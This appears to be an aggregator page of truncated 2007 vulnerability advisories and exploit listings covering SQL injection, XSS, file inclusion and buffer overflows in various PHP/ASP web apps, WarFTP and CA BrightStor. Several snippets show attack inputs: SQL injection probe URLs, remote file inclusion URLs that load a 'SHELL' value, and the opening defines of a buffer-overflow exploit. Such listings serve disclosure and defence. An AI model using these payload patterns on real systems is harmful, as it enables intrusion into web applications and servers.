CVE-2007-1768: Undefined Security Weakness

Cross-site scripting XSS vulnerability in app/helpers/applicationhelper.rb in Mephisto 0.7.3 and Mephisto Edge 20070325 allows remote attackers to inject arbitrary web script or HTML via the author name field in a comment...

CA BrightStor Backup 11.5.2.0 (Mediasvr.exe) Remote Code Exploit

No description provided by source. !/usr/bin/python Computer Associates CA Brightstor Backup Mediasvr.exe Remote Code Exploit Previously Unknown There seems to be an design error in the handling of RPC data with xdr procedures across several .dll's imported by Mediasvr.exe. Four bytes from an RPC...

Xoops All Version -Articles- Print.PHP (ID) Blind SQL Injection Exploit And PoC

Xoops All Version -Articles- Print.PHP ID Blind SQL Injection Exploit And PoC Type : SQL Injection Release Date : 2007-03-26 Product / Vendor : Xoops Portal http://www.Xoops.Org Bug : http://localhost/script/modules/articles/print.php?id=x AND 1=1 or 1=0 PoC :...

WarFTP 1.65 - 'USER' Remote Buffer Overflow

include include include define VULNSERVER "WAR-FTPD 1.65" define VULNCMD "\x55\x53\x45\x52\x20" define ZERO '\x00' define NOP '\x90' define VULNBUFF 485 define BUFFREAD 128 define PORT 21 define LENJMPESP 4 / WARFTP - VERSION 1.65 WarFTP Username Stack-Based Buffer-Overflow Vulnerability...

Katalog Plyt Audio Index.PHP SQL注入漏洞

Katalog Plyt Audio是基于PHP的WEB应用程序。 Katalog Plyt Audio多个产品不正确过滤用户提交的输入，远程攻击者可以利用漏洞进行SQL注入攻击，可获得敏感信息。 问题是'Index.PHP'脚本对用户提交的WEB参数缺少过滤，提交恶意SQL代码作为参数数据，可导致更改原来的SQL逻辑，获得敏感信息。 Katalog Plyt Audio Katalog Plyt Audio 1.0 目前没有解决方案提供： http://cdaudio.ovh.org/ ? / Author: Kacper Contact: [email protected]...

Sql injection

SQL injection vulnerability in search.asp in JGBBS 3.0 Beta 1 allows remote attackers to execute arbitrary SQL commands via the author parameter...

CVE-2007-1440: Undefined Security Weakness

SQL injection vulnerability in search.asp in JGBBS 3.0 Beta 1 allows remote attackers to execute arbitrary SQL commands via the author parameter...

JGBBS 3.0beta1 - 'search.asp?author' SQL Injection

JGBBS 3.0beta1 Version Search.ASP "Author" SQL Injection Exploit JGBBS 3.0beta1 Version Search.ASP "Author" SQL Injection Exploit SQL Injection Code Search Board ALL UniquE-KeyUniquE-Cracker [email protected]/b...

HC Newssystem 1.0-1.4 (index.php ID) Remote SQL Injection Vulnerability

No description provided by source. HC NEWSSYSTEM 1.0-4 index.php "ID" Blind SQL Injection Type : SQL Injection Release Date : 2007-03-08 Product / Vendor : HC Design News Publisher. http://www.hcdesign.at/demo Bug : http://localhost/script/index.php?option=news&aktion=komm&ID=-SQL Inj.- SQL Inj...

HC Newssystem 1.0-1.4 - index.php?ID SQL Injection

HC Newssystem 1.0-1.4 - index.php?ID SQL Injection HC NEWSSYSTEM 1.0-4 index.php "ID" Blind SQL Injection Type : SQL Injection Release Date : 2007-03-08 Product / Vendor : HC Design News Publisher. http://www.hcdesign.at/demo Bug : http://localhost/script/index.php?option=news&aktion=komm&ID=-SQL...

tyger-sqlxss.txt

-=--------------------ADVISORY-------------------=- Tyger Bug Tracking System Author: CorryL [email protected] -=-----------------------------------------------=- -=+ Application: Tyger Bug Tracking System -=+ Version: 1.1.3 -=+ Vendor's URL: http://uk.homeunix.org/tyger/cms/ -=+ Platform:...

PHP Module Implementation(top.php laypath)Remote File Include Vul

PHP Module Implementationtop.php laypathRemote File Include Vul ^ Downlaoad S : http://sourceforge.net/projects/phpmip/ ^ Author: GolDM = Mahmoodali && Contact: [email protected] ^ In: /path/top.php ^ Vulnerable Code: ^ include"$laypath/body.php"; Line : 23 ^ Exploit:...

PHP-MIP 0.1 (top.php laypath) Remote File Include Vulnerability

Exploit for unknown platform in category web applications =============================================================== PHP-MIP 0.1 top.php laypath Remote File Include Vulnerability =============================================================== PHP Module Implementationtop.php laypathRemote Fi...

PHP-MIP 0.1 - 'top.php?laypath' Remote File Inclusion

PHP Module Implementationtop.php laypathRemote File Include Vul ^ Downlaoad S : http://sourceforge.net/projects/phpmip/ ^ Author: GolDM = Mahmoodali && Contact: [email protected] ^ In: /path/top.php ^ Vulnerable Code: ^ include"$laypath/body.php"; Line : 23 ^ Exploit: ^...

Hasadya Raed

Remote Incluude File : By Hasadya Raed Contact : [email protected] Author : Hasadya Raed Script : arabhost Download : http://delmaa.com/upfile/users/arabHost.zip B.File : function.php V.Code : include$adminfloder"; Expl : http://www.victim.com/path/function.php?adminfolder=Shell-Attack...

VS-Link-Partner 2.1 - script_pfad Remote File Inclusion

VS-Link-Partner 2.1 - scriptpfad Remote File Inclusion VS-Link-Partner //'=============================================================================================== //'Script Name: VS-Link-Partner //'.... //'.. //'ERROR--------------------------------------------------------- // ajann,Turkey...

Vivvo Article Manager 3.4 - 'root' Local File Inclusion

=================================================================================================== Author: Snip0r Script Name: Vivvo Article Manager v 3.4 Website: www.vivvo.net =================================================================================================== Codesnippet of...

ActSoft DVD-Tools (dvdtools.ocx) Remote Buffer Overflow Exploit PoC

Exploit for unknown platform in category dos / poc =================================================================== ActSoft DVD-Tools dvdtools.ocx Remote Buffer Overflow Exploit PoC ===================================================================...

[XSS] Qdig - Quick Digital Image Gallery Version 1.2.9.3 and -devel

Qdig - Quick Digital Image Gallery - http://qdig.sourceforge.net/ Version affected: qdig-1.2.9.3, qdig-devel-20060624 Risk: XSS Description: Qdig is an easy-to-use PHP script that dynamically presents your digital image files as an online gallery or set of galleries. Vulnerability: It's vulnerabl...

LightRO CMS 1.0 (inhalt.php) Remote File Include Vulnerability

No description provided by source. Title : LightRO CMS 1 betainhalt.php Remote File Include Vulnerability Author : ajann Contact : : S.Page : http://www.lightro.de.tc/ $$ : Free ERROR .. ... ..... ? include $dateien'news'; ? .. ... ..... ERROR RFI http://target/path/inhalt.php?dateiennews=SHELL...